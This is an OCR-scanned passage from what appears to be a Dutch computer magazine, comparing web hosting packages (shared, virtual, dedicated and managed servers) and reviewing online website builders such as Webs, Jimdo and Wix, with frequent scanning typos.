Daarvoor krljg je dan ook half zoveel web- 
rut mte, maar weer wel meer dataverkeer. 

Het kan nog goedkoper: voor € 28,50 per 
jaar, inclusief domeinnaam, krijg je bij Hosting 
2GO maar liefst 2,5 GB webruimte en 30 GB 
dataverkeer, maar daar staat tegen over dat er 
geen telefonische helpdesk Is en dat alle com- 
municatie via een online kl a nten systeem gaat 
Het is duidelijk dat het uit de lengte of uit de 
breedte moet komen. Strato heeft een Power- 
Web-pakket waarvoorje inclusief domeinnaam 
het eerste jaar € 75 kwijt bent, maar dan heb je 
wel zeven dagen in de week een gratis telefo¬ 
nische helpdesk totje beschikking. 

Bij deze aanbiedingen geidt allemaal dat 
je een vlrtuele server op basis van een Linux- 
distributie totje beschikking krijgt. Als je een 
Windows-omgeving wilt om je website te hos- 
ten, llggen de prijzen meestal hoger. Dat komt 
voor een deel natuurlijk omdat er voor een 
Windows Server-versie licentlekosten betaald 
moeten worden en voor Linux niet 

Helaas werken een groot aantal hosters op 
hun websites inmiddels ook met de sterretjes 
en voetnoten zoals je die kent van de aanbie¬ 
ders van mobiele abonnementen. Die maken 
een overzicht van daadwerkelljke kosten, con- 
tractduur en opzeggingsmogelijkheden er 
zeker niet makkelijker op. Het is daarom aan te 
raden de algemene voorwaarden goed doorte 
lezen, maar de meeste mensen slaan dat over 
omdat het vaak saale en juridische teksten zijn. 

In de praktijk blijft er niet veel anders over 
dan met een rekenmachine m de hand een 
eigen overzicht te maken van de pakketten die 
aan je eisen voldoen wat betreft webruimte en 
dataverkeer. 

Plekzat 

Voor je persoonlijke website is een domein¬ 
naam en wat webruimte vaak al voldoende. 



Bij Strato lijkt het net als bij veel andere hosters bijna gratis tezijn, maar de werkelijke 
kosten zitten verstopt in de sterretjes en kleine lettertjes. 
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Maar voor mod erne toe pass in gen als CMS’en, 
blogs, wiki's en forums is het vaak nodig dat 
de Webserver scripts kan draaien. CGI en PHF 
moeten dus ondersteund worden, Boven- 
dien is er een database nodig om de dyna- 
misch gegenereerde inhoud op te slaan, De 
hosters hebben op deze ontwrkkeling reeds 
geantidpeerd door deze extra functies bij al 
hun aanbiedingen te stoppen. 

Voldoende opslagrulmte met scriptin- 
terfaces is zoals gezegd a I rond de twee 
euro per maand verkrijgbaar. Zelfs bij deze 
goedkope instappakketten krijg je minimaal 
500 MB opslagruimte, wat ook voor grotere 
websiteprojecten voldoende is, Je moet er 
wel op letten dat sommige hosters de ruimte 
die mailaccounts nodig hebben voor hun 
e-mails, van de webruimte aftrekken. Als je 
voor meerdere personen een e-mailadres 
aanmaakt en zij de ontvangen bijlages op de 
IMAP-server laten staan, kan de ruimte snel 
krap worden, In dit geval is het beter als de 
mailaccounts een vast gedefinieerde additi- 
onele ruimte krijgen toegewezen, 

Beperkingen in de maandelljkse data- 
transfer worden steeds vaker vervangen 
door onbeperkt dataverkeer. 50 tot 100 GB 
per maand! ijktons voor een hob by site meet 
dan voldoende, Mocht je dit aantal inciden- 
teel overschrijden, dan betaal je voor die ene 
maand wat meer. Je moet er wel rekening 
mee houden dat het e-mailverkeer meestal 
ook In deze berekening wordt meegenomen, 
Bij sommige instapaanbiedingen krijg je 
minder dan 50 GB vrij dataverkeer, dan moet 
je er wel voor zorgen dat je niet teveel be- 
zoekers naar je site lokt. Bij HostingDiscoun- 
ter krijg je in het SuperDiscount-pakket maar 
2 GB dataverkeer. Afs je een voorbeeld be re¬ 
kening maakt en er op rekent dat ieder be- 
zoek aan een niet al te Ingewikkelde website 


Via een online 
beheersmodule kun je 
een aantal instellingen 
van je shared-hosting- 
server aanpassen. 


gemiddeld zo’n 500 kB 
transfer oplevert, zou 
je dus maximaaJ 4000 
bezoekers per maand 
kunnen hebben, Als je 
veel afbeeldingen of 
Flashanimaties gefarufkt 
kan dit al snel oplopen 
tot 1 MB per bezoek 
en dus 2000 bezoekers 
per maand, oftewel 
maximaal drie per uun 
Bij meer bezoekers - of 
nog grotere paginal - 
kan het snel peperduur 
worden, want voor elke 
extra GB moet bijbe- 
taald worden. 

De beschikbare web- 
ruimte kan r zoals eerder 
opgemerkt, opgedeeld 
worden in ruimte voor de website en plek 
voor de e-mails, Hetzelfde geldt voor het 
dataverkeer van de e-mail {bv, bij mailing- 
lijsten), Dat kan bij het totale dataverkeer 
worden opgeteld, maar ook een eigen maxi¬ 
mum hebben. Het maximum voor de mail is 
vaak (veel) kleiner dan dat voor de website. 
Het is dan van belang dit verkeer goed in de 
gaten te houden, omdat het hard kan gaan 
als er een paar grote bijlagen heen en weer 
worden gestuurd. 

Meer flexibiliteit 

Meestal bevatten de hostingpakketten mini- 
maal een gratis domeinnaam, Maar je kunt 
het pas domain-hosting noemen als de klant 
enige flexibiliteit kan worden gegarandeerd. 
Als je bijvoorbeeld de bij het domein horen- 
de maifservices door een andere aanbieder 
wilt laten hosten, moet je toegang hebben 
tot het MX-record van het DNS-record dat bij 
de domeinnaam hoort, om daar de nieuwe 
mail host te kunnen insteflen. Dat kan tegen- 
woordig bij bijna alle webhosters. Je krijgt 
echter pas volfedige flexibiliteit als je ook de 
bij het domein horende nameserver (NS) zelf 
kunt bepalen, bijvoorbeeld om het domein 
door een al aanwezige eigen nameserver te 
kunnen laten beheren, 

Bij een webpakket hoort in principe ook 
een aan het domein gekoppelde mailservice. 
Minimaal 50, maar liever nog 100 eigen post- 
bussen moet de hoster wel toestaan, zodat je 
familie, een klein bedrljfje of een vereniging 
van adressen en eigen accounts kan worden 
voorzien. Je wilt niet dat de postbus al met- 
een na het ontvangen van een paarfoto's en 
mp3's volloopt, dus moet je ook voldoende 
opslagruimte hebben, Bij een groot aantal 
hosters kun je zelf een maximum instellen 


voor de grootte van een postbus. In sommi¬ 
ge gevallen kun je het zelfs zonder maximum 
doen. In dat geval wordt de ruimte bepaald 
door de beschikbare webruimte. 

Enkele aanbieders hebben een bepaald 
vast maximum ingesteld voor de postbussen. 
Bij Yourhosting is dat standaard 24 MB per 
account, maar dat kun je vergroten tot maxi¬ 
maal 240 MB. Bij Strato is dat 1000 MB per 
account. Maar ook hele grote mailaccounts 
kunnen na verloop van tijd vol lopen, met 
name als de gebruiker zijn mails niet down- 
loadt maar via IMAP op de server beheert. 

Het is bovendien prettig als je mail zowel 
via een webfront-end als via POP3 of IMAP 
kunt ophalen, Gezien de dagelijks binnenstro- 
mende hoeveelheden spam mail, hoort een 
redelijk spamfitter bij de basisdiensten. Ook 
hiervoor geldt dat deze er bij een aantal aan¬ 
bieders standaard bij zit, maar bij andere pak- 
ketten moet je die er nog apart bijbestellen, 
lets wat je ook bij het uiteindelijke totaalbe- 
drag moet incalculeren. Een virusbescberming 
biedt extra beveiliging, maar lijkt ons niet per 
se essentieel, omdat de gebrulkers die meestal 
lokaal op hun computers ook hebben. 

De hogere prijzen die soms gevraagd wor¬ 
den, zijn vaak terug te zien in extra mogelijk- 
heden. Zo krijg je bij Strato voor 12 euro aan 
verzendkosten een aantal softwarepakket- 
ten, waaronder Adobe Photoshop Elements, 
Adobe GoLive, Namo WebEditor, Magix 
Foto's op CD & DVD en Magix Xtreme Photo 
& Graphic Designer SE, Daar moet je in de 
winkel veel geld voor neertellen. Maar of je 
a Is begtnnend webmaster nou meteen een 
professionele webeditor van het formaat van 
een Adobe GoLive 9 nodig hebt? Daar komt 
nog bij dat GoLive sinds vorige jaar niet meer 
verder ontwikkeld wordt en bij Adobe is op- 
gevolgd door Dreamweaver, De meegele- 
verde versie van Photoshop Elements is ook 
een verouderde versie, Deze software moet 
dan ook geen reden zijn voor het kiezen van 
een hostingpakket, tenzij je die programma's 
expliciet nodig hebt. 



In een rekencentrum zitten de webservers 
in 19"-kasten, die in enkele minuten 
kunnen worden vervangen. 
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De per uur ge- 
meten laadtijden 
bewijzen dat een 
shared-hosting- 
server duidelijk 
gevoeliger op 
belasting rea- 
geertdaneen 
dedicated server 
in hetzeffde re¬ 
ken centrum. 


Door de toenemende interesse voor CMS'en 
als Joomla en Drupal, bieden veel hosters de 
mogeiijkheid die tegen een bepaalde meer- 
prfjs kant-en-klaar te Installeren op je web- 
ruimte. Bij Hosting 2GO krijg je voor een- 
malig 12 euro de mogeiijkheid o.a. Joomla, 
Drupal, phpNuke, phpBB, osCommerce en 
Coppermine te installeren, Bij Joomla Hosty 
zijn de hostingpakketten zelfs speciaal inge- 
richt voor het gebruik van het Joomla CMS, 
Datzelfde geldt voor de Joomla-pakketten 
van Joomla Web Hosting, maar die zijn be- 
duidend duurder. Bij Eduka Hosting kun je 
ook een speciaal Drupal-hostingpakket be- 
stellen. 

Service 

In het ideafe geval maken de hosters dage- 
lijks een back-up van je webruimte, databa¬ 
ses en e-mailaccounts om je gegevens veilig 
te stellen. Zo'n beetje federe hosier claim! 
dat ook te doen. Toch bereiken ons regel- 
matig berichten van lezers dat een restore in 
geval van problemen niet altijd lukt. In dat 
geval ben je aangewezen op je eigen back¬ 
up. 

Dan zou het handig zijn als de hosier je 
de mogeiijkheid biedt om bij gegevensver- 
lles zelf een restore op poten te zetten. Bij 
navraag bleek dat het echter maar bij wei- 
nig providers mogelyk is om via een simpele 
vraag aan de helpdesk gratis bij de door de 
provider geback-upte archieven te komen. 
Bij veel providers kan een dergelijke restore 
van een back-up echter aardig in de papie- 
ren lopen. Indien een technicus bijvoor- 
beeld 100 euro per uur vraagt en het daarbij 
geheel onduidelijk is hoe lang hij met res¬ 
tore bezig zal zijn, kan je dat uiteindelijk een 
flinke duit kosten. 

Op dit moment biedt Strato de beste 
back-upoplossing op de mark! Deze is ge- 
baseerd op de teohniek van storageprodu- 
cent NetApps, De hosier maakt automatisch 
een conti nu geactuallseerde back-uphistory 
van webspace en databases. De klant kan te 
alien tijde op de back-upserver inloggen en 
uit de snapshots de juiste er uitzoeken. Op 
die manier zijn ook afzonderlijke bestanden 
te herstellen, of die nou een uur of 30 dagen 
gefeden werden geback-upt. 


Eigen huis te huur 

Veel functies die in shared-hosting-pakket- 
ten zitten, worden door de hosters ook aan 
huurders van dedicated servers aangeboden, 
maar dan natuurlijk zonder back-upoplossin- 
gen, Wei krijg je vaak opslagruimte ter groot- 
te van de harddisk van de server in het reken- 
centrum, die je via FTP voor het back-uppen 
kunt gebruiken. Dat moet je als klant echter 
wel zelf doen, jij bent immers de enige met 
toegang tot alle plekken op de server. 

Dedicated servers zijn af vanaf zo f n 35 euro 
per maand te huur, maar dan gaat het om 
machines die uit no-name-componenten zijn 
samengesteld. System en waarvan de onder- 
delen expliciet voor continu 24/7-gebruik ge- 
maakt zijn en dus een hogere garantie tegen 
uitval bieden, kun je vanaf zo'n 50 a 60 euro 
per maand huren. Meestal komt daar een set- 
uptarief van 80 tot 100 euro bij. Dergelijke 
servers hebben bijna altijd een contractduur 
van minstens twaalf m aan den. 

Voorde administrator van een eigen server 
moet het duidetijk zijn dat hij alle diensten 
zelf moet beheren, Daarbij gaat het niet af- 
leen om de Apache-web server, maar ook om 
de gei'nstalleerde mail server en alle andere 
mogelijke toepassingen, zoals een gameser- 
ver bijvoorbeeld. Veel providers installeren 
wel handige beheerstooi zoals Plesk, maar 
ook die neemt je het tijdrovende werk om 
alle programma’s up-to-date en dus veilig te 
houden niet uit handen. Afhankelijk van het 
besturingssysteem heb je er dus goede ken- 
nis van Linux of Windows voor nodig. 

Als je een volledige root-toegang tot het 
systeem wilt hebben, maar dan voor minder 
geld, kun je overwegen om een virtuele ser¬ 
ver te nemen. Net als bij shared hosting dee I 
je een machine met 10 tot 100 klanten, maar 
je hebt dan wel een strikt afgesehermde 
Linux- of Windows-serveromgeving tot je 
beschikking, Virtualisatiesoftware die op die 
machine is geinstalleerd - meestal wordt Vir- 
tuozzo van Parallels gebruikt - wijst aan elke 
omgeving dynamlsch resources zoals proces- 
sortijd en werkgeheugen toe. Afhankelij k van 
het pakket mogen daarbij vastgestelde mini¬ 
mum waarden niet worden onderschreden, 

Een virtuele server vereist vergelijkbare 
knowhow als diens grote dedicated broer* 


Ook hier geldt dus: als je je niet met admi- 
nistratieve taken wilt bezig houden, is dit 
geen optie voor je. Professionele webmas¬ 
ters kiezen trouwens graag voor een virtueel 
systeem om daar een website te installeren, 
zodat ze deze uitvoerig kunnen testen voor- 
dat die op een andere plek op een produc- 
tieserver wordt gezet Het is ook mogelijk om 
bij eenzelfde hoster bij een dedicated server 
nog een virtuele server te huren, die dan klei- 
nere taken afhandelt. 

Net als bij shared hosting zijn bij virtuele 
servers ook performanceschommelingen te 
verwachten. Je weet immers niet hoe slim de 
virtualisatiesoftware is in het verdelen van de 
resources en hoeveel je onzichtbare buren de 
machine zullen belasten. Uit vergelijkende 
metingen blijkt dat dedicated servers duide- 
lijk constantere prestaties bieden dan hun vir¬ 
tuele tegenhangers. We hebben vier weken 
lang een virtuele en een dedicated server in 
het rekencentrum van Strato getest Het re- 
sultaat: de website van de virtuele server was 
structure©! langzamer en vertoonde boven- 
dien In tijden van piekbelasting een grotere 
daling in performance. 

Middenmanagement 

Een managed server is een mogelijke mid- 
denweg voor iedereen die de prestaties van 
een dedicated server wil, maar dan zonder 
alle a dm in 1st rati eve rompslomp. De hosters 
maken reclame met ’’geen zorgen over uw 
server* 1 (Preserve), "wij nemen alle tech nische 
aspecten voor onze rekening 11 (Xelmedia) 
en "U heefter zelf geen omkijken naar" (Flex¬ 
webhosting), 

Naast dergelijke duidelijke taal zijn onze 
testresultaten echter ontnuchterend. De 
kwaliteit van de producten viel op veel ge- 
bleden tegen. Geen van de vijf aanbiedingen 
die we bekeken was een krachtig alternatief 
voor een shared-hosting-pakket. De reden 
was niet zo zeer een te kleine functieom- 
vang, maar wel de min of meer serieuze ge- 
breken bij het onderhoud van de systemen. 
Zo kwamen we bijvoorbeeld distributes als 
Red Hat 7.0 en Suse 9,0 tegen, die inmiddels 
niet meer officieel worden ondersteund, wat 
ronduit onverantwoordeiijk is, 

Waarschijnlijk willen de providers ailer- 
lei supportvragen voorkomen die weliicht 
ontstaan als webtoepassingen na onge- 
teste pakket upgrades plotseling niet meer 
werken. "Never touch a running system 11 is 
blijkbaar hetfavoriete devies van de hosters. 
Maar de veiligheld van de servers gaat er dan 
wel op achteruit Toen wij steekproefsgewijs 
op veiligheidslekken controleerden, konden 
we dankzij de gebrekkige updatepraktijk re- 
gelmatig binnendringen. 

Als klant vertrouw je echter op je provider 
en zet je soms kritieke gegevens op de ser¬ 
ver. Gezien de genoemde problemen moet je 
heel goed overwegen wie je het beheer van 
je Webserver in handen geeft - of dat je toch 
liever voor een comfortabel s ha red-host in g- 
pakket kiest en de performanceschommelin¬ 
gen accepteert, (nkr) dt 
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Twee minuten WWWerk 


Bouw razendsnel websites met online website-editors 


Met een nieuwe genera tie webhosts 
behoort het gepriegel met HTML, het 
gezeur met FTP-clients en het bewerken 
van PHP-scripts tot het verleden. Wle 
een website wil maken, hoeft zich niet 
langer in de achterliggende techniek 
te verdiepen, maar kan zich voortaan 
voiledig op de content zelf storten. Met 
de hier besproken online webeditors 
zet je binnen enkele minuten een 
nieuwe site online. 

V eel mensen die een eigen homepage 
wii!en P zouden hun nieuwe site het liefst 
net zo betrekken ah een nieuwbouw- 
woning: even de meubels op dejuiste plekzet- 
ten, misschien nog wat behangen, maar meer 
ook niet. Met andere woorden: je legt de I ay- 
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out vast, uploadt afbeeldingen en fabriceert 
wat fapjes tekst. De achterliggende techniek 
laat je als beginnende webmaster vaak liever 
voor wat die is. Helaas bleden klassieke web¬ 
hosts meestal niet veel meer dan een bouw- 
put. Jij bent dan architect, bouwcoordinator en 
bouwvakker in een. Je moet alles zdf doen, van 
het uploaden van de bestanden en het creeren 
van de websifestructuur en -lay-out tot en met 
het onderhouden van serve rscripts. 

Maar het kan ook a riders, Wat voor blogs al 
langer bestaat, maakt een reeks webdiensten 
nu ook mogelijk voor standaard websites: het 
bewerken van paginal met een gebmiksvrien- 
delijk contentmanagementsysteem (CMS) 
zonder je te bekommeren om de fundering. 
Die krijg je namelijk niet te zien. De webhost 
houdt zich bezig met het onderhoud van het 
systeem, back-ups, et cetera. 


Bij deze diensten hoef je niet meer te doen 
dan een naam voor de site op te geven en een 
fay-out te kiezen en je hebt binnen enkele se- 
conden de basis gelegd voor je nieuwe site, 
De pagina's bewerk je daarna gemakkelijk met 
een WYSIWYG-editor {What You See Is What 
You Get). Dit gaat gedeeltelijk zelfs in-site, dus 
direct in de lay-out en op de plek van de uit- 
eindelijke website, Multimediaeontent kun je 
naar een mediacentrale uploaden en vanuit 
daar op eenvoudige wljze in je webpagina's 
embedden. 

Video's en multimediawidgets van andere 
sites integreer je net zo gemakkelijk met een 
paar muisklikken, Bij een aantal diensten kun 
je met een praktische editor zelfs de structuur 
en de menu's van je website bewerken. Als je al 
over de site-opbouw hebt nagedacht en de in- 
houd ookai kant-en-klaar hebt liggen, dan kun 
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je binnen een paar minuten een kleine sfte met 
een handjevol pagina's online plaatsen. 

Bij veel aanbieders heb je uitgebreide 
CMS-functies tot je beschikking, zoals blogs, 
forums, fotoalbums, form u lie re n en zelfs mo- 
gelljkheden voor het opzetten van een web- 
win kef Daarnaast kun je meestal extra functies 
toevoegen in de vorm van widgets. Zo bevat 
Widgetbox een hele reeks van dit soort kant- 
en-klare bouwstenen voor websites (zie kader 
opp.16). 

Een aantal diensten is gespecialiseerd in 
specifieke websites, bijvoorbeeld in multime- 
diaplatforms voor video's, foto's en gadgets. 
Deze elementen kun je dan goed in andere 
platforms integreren, zoals sociale netwerken. 
De hier besproken selectie webhosfs vormt 
een goede weerspiegeling van de verschei- 
denheid aan beschikbare diensten, Aan bod 
komen Webs, DoodleKit, Edicy, IS Websitebou- 
wer, Jimdo, Wix, Microsoft Office Live Small 
Business, Sprout Builder, Strato Easy Web, Vola, 
TeraPad en Web node. 

De aanbieders van de eenvoudig te gebrui- 
ken content managementsy stem en komen met 
de meest uiteenlopende business- en prijsmo- 
dellen, Sommige aanbieders financieren bun 
diensten met advertenties, andere bieden 
hun hosting service gratis aan zonder reclame 
en halen hun inkomsten uit andere diensten. 
Dan zijn er ook nog hosts die een heel scala 
aan gedetailleerde prijsmodellen hanteren, 
waarbij je in de regel ook voor een gratis ba- 
sisvanant kunt kiezen. Van deze laatste groep 
aanbieders hebben we in onze bespreking de 
goedkoopste variant onder de loep genomen. 
De tabel (p, 18 en 19} verschaft meer inzicht in 
de gradaties binnen de prijsmodelien, Bij een 
te gevarieerd aanbod hebben we ons moeten 
beperken tot een selectie. Wanneer niet speci- 
fiek vermeld, is het aantal webpagina's dat in 
het tarief is opgenomen onbeperkt. 

Hoe praktisch en voordeJig websites met 
een eenvoudig CMS ook zijn, ze hebben ook 
een groot nadeel: zodra je een aanbieder 
kiest, zit je daar in zekere zin aan vast En dan 
meet je er maar op vertrouwen dat de dienst 
naar verwachting functioneert: zo moet de 
websitecontent regelmatig worden geback- 
upt, het systeem goed worden beveiligd, et 
cetera. Een eenvoudige switch naar een an¬ 
dere host, zoals bij webspace in eigen beheer 
of bij een standaard CMS als Joomla - die in- 
middels door veel providers als zogenaamde 
l-klik-installatie wordt aangeboden - is met 
de doorgaans proprietaire systemen niet mo- 
gelijk. 

Webs 

Met ruim 20 miljoen actieve websites is Webs 
een van de meest populate online web- 
editors. Het CMS van Webs is opgedeeld in de 
Site Builder (een WYSIWYG-editor) en de Site 
Manager. Met de Site Manager kun je onder 
andere webstatistieken bekijken en verschil- 
lende soorten webpagina's aan je website 
toevoegen. Daarbij heb je ondermeer de 
keuze uit een blog, een forum, een webwinkef 
en een foto- of videoalbum. 


De Site Builder is overzichtelijk opgezet. Je 
website wordt centra a I wee rgeg even en a lie 
opties zijn via de bovenliggende menubalk 
toegankelljk. Deze bevat drie tabs voor het 
bewerken van pagina's, het instellen van een 
template en het gebruik van zogeheten 'side 
bars'. Met een toolbox links in het venster kun 
je de pagina's bewerken. Van uit deze box voeg 
je contentvakken toe aan je pagina's, die je 
vervolgens met tekst, afbeeldingen, video's, 
links of widgets kunt vuilen (de volledige bi- 
bliotheek van Widgetbox staat hier bij tot je 
beschikking - zie kader). Voor de vormgeving 
van de site heb je de keuze uit meer dan 300 
uiteenlopende templates, die je voor een 
deel naar eigen smaak kunt aanpassen. Met 
een side bar' voeg je rechts in de pagina een 
extra kolom toe, waarin je tekst, afbeeldingen, 
widgets of recente blog- of forumposts kunt 
plaatsen. 

Webs helpt je niet alleen een site te fabrice- 
ren, maar ook een 'community'. Je kunt bezoe- 
kers bijvoorbeeld uitnodigen om zich op je site 
aan te melden, waarna ze toegang hebben tot 
specifieke content voor leden. De gratis versie 
van Webs biedt nagenoeg alle mogelijkheden 
van de betaalde varianten, maar is voorzien 
van een markante banner bovenaan de site en 
een voetnoot met een verwijzing naar Webs 
onderaan. Reclamevrije versies zijn verkrijg- 
baar vanaf $ 4,16 per maand. Je krijgt voor dat 
bed rag ook meer bandbreedte en webopslag 
tot je beschikking. Voor $19,95 kun je de site 
ook nog eens voorzien van een .com-domein. 
Overigens is het koppelen van je Webs-site aan 
een eigen bestaand domein gratis. 

Doodlekit 

Exploitant Doodle bit biedt zijn Doodlekit in vijf 
verschillende prijsvarianten aan, die trapsge- 
wijs verschillen in het maximaal aantal beschik¬ 
bare pagina's en het aantal toegestane foto's 
en page views. Met de gratis variant mag je 


bijvoorbeeld vijf pagina's creeren - waaronder 
een blog en een fotoalbum - maximaal 500 fo¬ 
to's uploaden en 25,000 pageviews per maand 
hebben. Voor een kleine, parti cull ere website is 
vijf webpagina’s wat sehaars, maar de andere 
opties zijn ruim voldoende, 

De commerciele versies bieden naast de 
mogelijkheld eigen domeinen a an te meiden 
ook nog een aantal extra componenten, waar 
onder forums, een formuliergenerator en een 
'winkelwagen' voor je eigen webwinkef In 
tegenstelling tot de gratis variant zijn de be- 
taafde versies redamevrij, Doodlekit plaatst in 
de gratis sites onderin de pagina's een recia- 
melink en bovenin een opvaliend blok recla- 
metekst van partner Yahoo. Overigens is deze 
tekst wel duidelijk afgescheiden van de rest 
van de site. 

Je kunt bij Doodiekit uit slechts vijf lay-outs 
kiezen, die wel bijzonder fraai zijn vormgege- 
ven. In deze templates pas je zelf de kleuren, 
het headertogo en het letterfype aan, Wie 
bedreven is in CSS kan ook de stylesheets 
bewerken of eigen varianten gebruiken. Voor 
het bewerken van de pagina-inhoud biedt 
Doodlekit de Lste-versie aan van de praktische 
WYSIWYG-editor Xstandard. Helaas wordt 
deze editor bij het bewerken van content 
slechts in plusminus 700 x 300 pixels weer- 
gegeven. Instell ingen die betrekking hebben 
op de gehele site kun je via een overzichtelijk 
menu aanpassen. 

Edicy 

"Everyone can create a website," belooft Edicy. 
En daarmee overdrijft de exploitant van deze 
sterk met Ajax werkende dienst niet. Bij Edicy 
bewerk je webpagina's in-site. Wanneer je op 
een tekst blok klikt, versehijnt het zwevende 
menu van de (zeer eenvoudige) WYSIWYG- 
editor. De beiangrijkste functies, zoals de me- 
diagalerij, zijn via een werkbalk onder in het 
browser venster toegankelijk. 



Met zijn overzichtelijke Site Builder is Webs een van de meest populaire online webeditors. 
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Met de in-site WYSIWYG-editor en een toolbar reehts is Jimdo overztchtelijk en veelzijdig. 


Edicy-sites beschikken standaard over een 
blog, waarvan de headlines en teasers afhanke- 
lijk van de template ook in de andere pagina's 
worden ingebed. Dat Edicy nog in het betasta- 
dium verkeert, was onder andere te merken 
aan het feit dat blogposts niet altijd goed wer- 
den weergegeven. Andere content modules, 
zoals een forum of een fotogalerij, ontbreken 
vooralsnog. 

Hoewel Edicy over het algemeen vrij simpel 
is opgezet, biedt het we I de mogelijkheid voor 
een meertalige site - en dat in een zeer conse- 
quente vorm. Teikens als je een pagina in een 
be pa aide taalversle wist of aanmaakt, voert 
Edicy de overeenkomstige veranderingen door 
in de andere versies. 

Interned Services 

interned Services (IS) is eigenlijk een 'ktassieke 1 
webhoster. Maar met de IS Website bouwer biedt 
de dlenst baar klanten nu ook de mogetykheid 
om sites via een geMegreerd CMS te bouwen. 
De IS-webeditor deelt het bouwproces op in vijf 
stappen, die je met een wizard doorloopt 

In stap 1 (opstarten) kies je met wat voor 
type site je graag het web op wilt Hierbrj kun je 
kiezen voor een normale website, een fotogal- 
lerij of een biog. Bij Stap 2 (ontwerp) geeft IS je 
de keuze uit ongeveer 500 met name zakelijk 
georienteerde templates, Voor de meeste zijn 
verschillende kleurvarianten, bannermogelljk- 
heden en menustijlen besohikbaar. Ook kun je 
een eigen banner of logo uploaded Bij stap 3 
(pagina's) bepaal je we Ik type pagina's je op je 
site wilt Je kunt onder andere kiezen uit een 
webwinkei, een gastenboek, een forum en een 
beeldgalerij. Hierna is je startsite gereed en 
kun je hem in stap 4 (bewerken) met content 
vuilen. Helaas zijn de mogelijkheden hierbij ge- 
ring. Naast tekst en afbeeldingen heb je enkel 
de beschikking over polls, Goog I e-maps, R55- 
feeds, fomnuiieren, scripts en een 'site-pal’- een 


Widgets inbedden 


Een fotoalbum, spetletje of forum kan een 
ieuke aanvulling zijn op je site. Hetaas bie- 
den webhosts hiervoor niet altijd mogelijk- 
hedea In tijden van widgets is dat echter 
geen probleem meer; bijna aiie aanbieders 
van de eenvoudige content management- 
systemen die we in dit artikel bespreken, 
bieden je de mogeiijkheid willekeurige 
blokken met content van third-partyaan- 
bieders in je webpagina's in te bedden. De 
enige uitzonderingen hierop zijn Sprout 
Builder en IS Websitebouwer. 

Voor zo'n contentblok is de term ’widget' 
bedacht Inmiddeis biedt een hele reeks 
aanbieders al widgetvarianten aan van hun 
dlensten. Exploitanten van sociale netwer- 
ken als MySpace en Facebook proberen 
hiermee de reikwijdte van hun diensten te 
verbreden. Ook de met Sprout Builder en 
Wix gecreeerde sites kunnen worden gepu- 
bliceerd als widget 


Flash-figuurtje naar keuze dat je bezoekers kan 
toespreken* Widgets zijn in de webeditor niet 
beschlkbaar en kunnen ook niet vanaf een an¬ 
dere site worden ingebed. Ook voor het vorm- 
geven van de content zijn de opties beperkt De 
verschillende content blokken worden pagina- 
breed onder elkaar gepiaatst en zijn verder niet 
in positie of uiterlijk bij te schaven. Met de laat- 
ste stap (publiceren) zet je de site online. 

IS lijkt zich vooral op zakelijke klanten te 
richten, aangezien de templates op wat uit¬ 
zonderingen na tametijk sober aandoen. Ook 
is er weinlg ruimte om je site qua vormgeving, 
lay-out en content naar eigen smaak aan te 
passen. Er is geen gratis variant van de IS Web- 


Als je een passende widget voor je site 
zoekt, kun je het beste eerst een kijkje 
nemen by een van de grote wldgetportals 
als Widgetbox en Google Gadgets. Daar 
vind je links naar honderden interessante 
website-aanvullingen in alle soorten en 
maten, Bij Grazr kun je heel persoortlijke 
widgets publiceren en als je op zoek bent 
naarforumwidgets is met name Nabbie in¬ 
terns sant. 

Wie online z'n spaarpot wil bijspekken, kan 
op zijn website een filiaai van een grote 
webwinkei openen. Internetverkoper Ama¬ 
zon biedt in het kader van zijn partnerpro- 
gramma bijvoorbeeld complete minishops 
aan die je in je website kunt opnemen. Ook 
voor de verkoop van eigen producten is 
er widgetondersteunlng. 2o bieden de in- 
ternetbetaalsystemen PayPal en Google 
Checkout kant-en-klare webwinkeifu neties 
aan. 


site bouwer beschlkbaar, maar je kunt wei een 
proefpagina maken om de webeditor uit te 
proberen. Vanaf € 9,95 per maand staat je site 
online met een domeinnaam naar keuze, 

Jimdo 

Overzschtelijker kun je het haast niet krijgen: 
alle websiteoverkoepeiende functies, zoals 
lay-out', 'Instellingen’ en ’Statistieken', bevin- 
den zich bij Jimdo In een menubalk aan de 
rechter rand van het browservenster. Ailes wat 
met de actuele pagina te maken heeft, bewerk 
je in-site, Zodra je met de mu is over een tekst, 
afbeeidlng of bijvoorbeeld het menu beweegt, 
duikt er een snelmenu op, 

Het samenstelien van webpagina's verloopt 
via contentblokken, die Jimdo onder elkaar 
plaatst. Dat gaat lekker snel. Jimdo maakt on- 
derscheid tussen 19 verschillende contentty- 
pen, van ’Heading- Photo’ en ’Comments’ tot 
en met 'GoogleMaps' of ’Widget/HTML Met de 
laatstgenoemde kun je met behulp van HTML- 
snippets willekeurige widgets inbedden, 
Jimdo is met name gericht op prive-gebrui- 
kers. Dat biijkf onder andere uit de 69 vrolijke 
templates, de aangeboden widgets als simfy 
Player, waarmee gebruikers hun pagina’s van 
muziek kunnen voorzien, de communityfunc- 
ties, waarmee ze worden aangespoord vriend- 
schappen met andere Jimdo-gebruikers te 
sluiten en het prijsmodel. De basisversie van 
Jimdo is gratis. Daar staat tegenover dat de 
gratis pagina’s van vrij opvallende Jimdo- en 
Google-advertenties worden voorzien. De ex- 
ploitant re ken t voor een reclame vrije versie 
inciusief domein vijf euro per maand, 

Wix 

Wix biedt een krachtig maar eenvoudig plat¬ 
form voor het creeren van Flash-websites. Hier- 
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Wix biedt een krachtig maar eenvoudig platform voor het maken van FI ash-websites. 


bij kun je beginnen met een bianco pagina of 
met een van de circa 100 sterk thematische 
templates, die zijn ingedeeld in categorieen als 
business, personal, art en holiday. 

De in Flash gebouwde webeditor ziet er ge- 
likt uit en loopt soepel. Links in de editor staan 
de verschillende contentmogelijkheden ge- 
groepeerd (media, tekst, gaferijen, widgets, etc) 
en onderin kun je Flash-specifieke effecten se- 
lecteren, zoals antmaties en translties. De opties 
die op de gehele site van toepassing zijn, staan 
bovenin het venster. Hier kun je bovendien 
de grootte van de site eenvoudig aanpassen, 
bijvoorbeeld naar widgetformaat Daarmee 
kan de site in andere websites worden gei'n- 
tegreerd, bijvoorbeeld in een Facebook- of 
Hyves-pagina. Audio-, video- en afbeelding- 
bestanden kunnen naar de site worden geup- 
load of worden ingebed vanaf platforms als 
YouTube en Flickr. 

Je site wordt standaard voorzien van een 
Wix-advertentie onderaan en aan de rechter- 
kant van de paginal Vanaf $ 4,92 per maand 
kun je deze reclame verwijderen. Voor dat be- 
drag krijg je bovendien meer webopslag en 
bandbreedte. Het gebruik van een eigen do- 
